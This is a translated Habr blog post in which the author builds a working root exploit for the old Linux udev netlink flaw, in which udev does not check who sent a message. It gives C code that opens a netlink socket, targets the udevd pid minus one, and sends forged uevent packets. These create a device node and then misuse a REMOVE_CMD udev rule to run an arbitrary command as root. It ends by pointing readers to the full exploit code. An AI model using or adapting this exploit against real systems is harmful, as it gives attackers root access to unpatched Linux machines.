📜 ⬆️ ⬇️

A boring exploit for one wide hole

The Habrouseur allan_sundry in the pro botnet flame under Mac OS X did not believe that the recent vulnerability in Linux udev is really wide, deep and in some cases even dangerous. In response, I decided to write this topic, demonstrating that even a freelance dropout student can often create a working exploit for a published vulnerability, spending a couple of hours on Sunday evening.

Input - udev does not check the sender of the message .

And here is the whole simple process of creating an exploit in steps:
  1. Download the udev sources, grep, we find that we need to create a netlink socket for the NETLINK_KOBJECT_UEVENT protocol:
    int netlink_socket = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  2. We read man 7 netlink and fill in the destination address for the package:
    struct sockaddr_nl dest;<br/>memset(&dest, 0, sizeof(dest));<br/>dest.nl_family = AF_NETLINK;<br/>dest.nl_pid = pidof_udev;<br/>
  3. Run strace -p `pidof udevd` , strace -p `pidof udevd` something into USB and get an approximate package format:
    #define REQ(act, dev) \<br/> act "@/class/mem/" dev "\0" \<br/> "UDEV_LOG=3\0" \<br/> "ACTION=" act "\0" \<br/> "DEVPATH=/class/mem/" dev "\0" \<br/> "SUBSYSTEM=mem\0" \<br/> "MAJOR=1\0" \<br/> "MINOR=1\0" \<br/> "SEQNUM=3747\0" \<br/> "UDEVD_EVENT=1\0" \<br/> "DEVNAME=/dev/" dev "\0"<br/>char req1[] = REQ("add", "ufo");
  4. Ship this package:
    sendto(netlink_socket, req1, sizeof(req1)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
    And we get the answer “Connection refused”.
  5. We study once again the udev source and find that the netlink socket opens before the daemon goes into the background, fork () - nougat. Pid-s are usually issued sequentially, so we just try to specify a slightly different address:
    dest.nl_pid = pidof_udev - 1 ;
    After that, send() did not return any errors, and moreover, a strange /dev/ufo file appeared in /dev , which was just created through a hole in udev. But to create a device is not very interesting, it is better to execute your code.
  6. The difficult way to implement your code into the kernel through special devices /dev/mem and /dev/kmem is interesting, but for a proof-of-concept, you can also cut the road. Run grep -r RUN /etc/udev/rules.d/ and find the strange written rule:
    ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"
  7. Add another netlink message, this time to remove /dev/ufo :
    char req2[] = REQ("remove", "ufo") "REMOVE_CMD=/bin/touch /woot\0";<br/>sendto(netlink_socket, req2, sizeof(req2)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
    Run ... UFO flew in and left the file /woot !
All of the above was tested on Gentoo but will probably work under Ubuntu. Those who are not updated and wish to independently set up an experiment can download the entire code .

PS boring topic, is not it?

')

Source: https://habr.com/ru/post/57687/


All Articles